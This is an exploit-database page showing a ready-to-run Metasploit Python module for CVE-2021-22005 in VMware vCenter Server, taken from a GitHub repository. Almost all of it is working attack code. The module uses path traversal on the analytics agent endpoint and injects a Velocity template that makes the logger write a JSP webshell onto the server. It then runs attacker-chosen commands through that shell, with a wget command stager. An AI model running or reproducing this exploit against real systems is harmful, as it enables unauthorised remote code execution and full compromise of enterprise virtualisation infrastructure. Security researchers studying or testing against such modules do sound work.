Exploit database

GH-3b095d9542e07cbd1370b729b0bc5b7d

taroballzchen/cve-2021-22005-metasploit

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-22005

16 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files5
taroballzchen/cve-2021-22005-metasploitRevision b873a3b16b85

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

vmware_vcenter_server_file_upload_to_rce.py

Python · 8,663 bytes
#!/usr/bin/env python3
from metasploit import module

dependencies_missing = False
try:
    import requests
    import random
    import string
    import time
except ImportError:
    dependencies_missing = True

metadata = {
    'name' : 'VMWare vCenter Server File Upload to RCE',
    'description' : '''
    The vCenter Server contains an arbitrary file upload vulnerability in the Analytics service. A malicious actor with network access to port 443 on vCenter Server may exploit this issue to execute code on vCenter Server by uploading a specially crafted file.
    ''',
    'authors':["Taroballz","ITRI-PTTeam"],
    'references':[
        {"type":"cve","ref":"2021-22005"},
    ],
    'date': "2021-10-02",
    "type": "remote_exploit_cmd_stager",
    "targets": [
        {"platform": "linux", 'arch': "x86"},
    ],
    "payload": {
        "command_stager_flavor": "wget",
    },
    "options":{
        'rhost':{'type':'address','description':"Target address",'required':True,'default':None},
        'rport':{"type":"int","description":"port","required":True,"default":443},
        'rssl':{"type":"bool","description":"Negotiate SSL for outgoing connections","required":True, "default":'true'},
        "command": {"type": "string", 'description': 'The command to execute via the q GET parameter', 'required': True}
    }
}

def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))

webshell_param = id_generator(6)
log_param = id_generator(6)
agent_name = id_generator(6)
shell_name = id_generator(6) + ".jsp"

def escape(_str):
    _str = _str.replace("&", "&")
    _str = _str.replace("<", "&lt;")
    _str = _str.replace(">", "&gt;")
    _str = _str.replace("\"", "&quot;")
    return _str


def str_to_escaped_unicode(arg_str):
    escaped_str = ''
    for s in arg_str:
        val = ord(s)
        esc_uni = "\\u{:04x}".format(val)
        escaped_str += esc_uni
    return escaped_str


def execute_command(url, cmd_param, cmd):
    headers = {"User-Agent": "Mozilla/5.0",
               "Connection": "close",
               "Content-Type": "application/x-www-form-urlencoded"}
    req_data = {cmd_param: cmd.strip()}
    r = requests.post(url, headers=headers, data=req_data, verify=False, timeout=10)

    if r.status_code != 200:
        module.log("Error: Endpoint may not exist. Aborting","error")
        return None

    ct = r.content.decode()
    ct = ct.split('<pre>')[1].split('</pre>')[0]
    return ct

def deepCheck(url):

    webshell = """<%%@ page import="java.util.*,java.io.*"%%><HTML><BODY><FORM METHOD="GET" NAME="myform" ACTION=""><INPUT TYPE="text" NAME="cmd"><INPUT TYPE="submit" VALUE="Send"></FORM><pre><%%if (request.getParameter("%s") !=null){ Process p = Runtime.getRuntime().exec(request.getParameter("%s")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null) { out.println(disr); disr = dis.readLine(); }}%%></pre></BODY></HTML>
    """ % (webshell_param, webshell_param)
    webshell_location = "/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/%s" % shell_name
    webshell = str_to_escaped_unicode(webshell)

    manifestData = """<manifest recommendedPageSize="500">
       <request>
          <query name="vir:VCenter">
             <constraint>
                <targetType>ServiceInstance</targetType>
             </constraint>
             <propertySpec>
                <propertyNames>content.about.instanceUuid</propertyNames>
                <propertyNames>content.about.osType</propertyNames>
                <propertyNames>content.about.build</propertyNames>
                <propertyNames>content.about.version</propertyNames>
             </propertySpec>
          </query>
       </request>
       <cdfMapping>
          <indepedentResultsMapping>
             <resultSetMappings>
                <entry>
                   <key>vir:VCenter</key>
                   <value>
                      <value xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="resultSetMapping">
                         <resourceItemToJsonLdMapping>
                            <forType>ServiceInstance</forType>
                         <mappingCode><![CDATA[    
                            #set($appender = $GLOBAL-logger.logger.parent.getAppender("LOGFILE"))##
                            #set($orig_log = $appender.getFile())##
                            #set($logger = $GLOBAL-logger.logger.parent)##     
                            $appender.setFile("%s")##     
                            $appender.activateOptions()##  
                            $logger.warn("%s")##   
                            $appender.setFile($orig_log)##     
                            $appender.activateOptions()##]]>
                         </mappingCode>
                         </resourceItemToJsonLdMapping>
                      </value>
                   </value>
                </entry>
             </resultSetMappings>
          </indepedentResultsMapping>
       </cdfMapping>
       <requestSchedules>
          <schedule interval="1h">
             <queries>
                <query>vir:VCenter</query>
             </queries>
          </schedule>
       </requestSchedules>
    </manifest>""" % (webshell_location, webshell)


    burp0_url = url + "/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=%s&_i=%s" %(agent_name,log_param)
    burp0_headers = {"Cache-Control": "max-age=0",
                     "Upgrade-Insecure-Requests": "1",
                     "User-Agent": "Mozilla/5.0",
                     "X-Deployment-Secret": "abc",
                     "Content-Type": "application/json",
                     "Connection": "close"}
    burp0_json={"manifestSpec":{},
                "objectType": "a2",
                "collectionTriggerDataNeeded":  True,
                "deploymentDataNeeded":True,
                "resultNeeded": True, "signalCollectionCompleted":True,
                "localManifestPath": "a7",
                "localPayloadPath": "a8",
                "localObfuscationMapPath": "a9"
                }
    try:
        requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False, timeout=20)
        burp0_url = url +"/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=%s&_i=%s" % (agent_name, log_param)
        burp0_json = {"contextData": "a3", "manifestContent": manifestData, "objectId": "a2"}
        requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False,timeout=20)
        return True
    except Exception as e:
        module.log(f"{url} could not be vulnerable","error")
        module.log(str(e), "error")
        return False






def run(args):
    if dependencies_missing:
        module.log("Module dependencies (requests) missing, cannot continue", level="error")
        return

    host = args['rhost']
    if host[-1:] == '/': host = host[:-1]
    if args["rssl"] == "true":
        sURL = 'https://' + host + ":" + args["rport"]
    else:
        sURL = "http://" + host + ":" + args["rport"]

    module.log("Target URL: {}".format(sURL))

    vulnURL = sURL + "/analytics/telemetry/ph/api/hyper/send?_c&_i=test"

    header = {
        "User-Agent": "vAPI/2.100.0 Java/1.8.0_261 (Linux; 4.19.160-6.ph3; amd64)",
        "Accept": "*/*",
        "Content-Type": "application/json",
        "Connection": "close"
    }

    poc_data = 'test'

    session = requests.Session()
    module.log(f"Testing vuln URL: {vulnURL}")
    try:
        req = session.post(vulnURL, headers=header, data=poc_data, verify=False, timeout=10)
        if req.status_code == 201:
            module.log(f"the target {sURL} could be vulnerable by CVE-2021-22005","good")
        else:
            module.log(f"{sURL} could not be vulnerable","error")
    except Exception as e:
        module.log(f"{sURL} could not be vulnerable","error")
        module.log(str(e), "error")
    
    flag = deepCheck(sURL)
    if flag:
        url = f"{sURL}/idm/..;/{shell_name}"
        module.log(f"Webshell Endpoint: {url}", 'good')
        module.log(f"Webshell Parameter: {webshell_param}",'good')

        commandlist = args["command"].split(";")
        for c in commandlist:
            if "+x" in c:
                c = c.replace("+x", "777")
            try:
                execute_command(url, webshell_param, c)
                time.sleep(10)
            except Exception as e:
                module.log(str(e))

    
if __name__ == '__main__':
    module.run(metadata,run)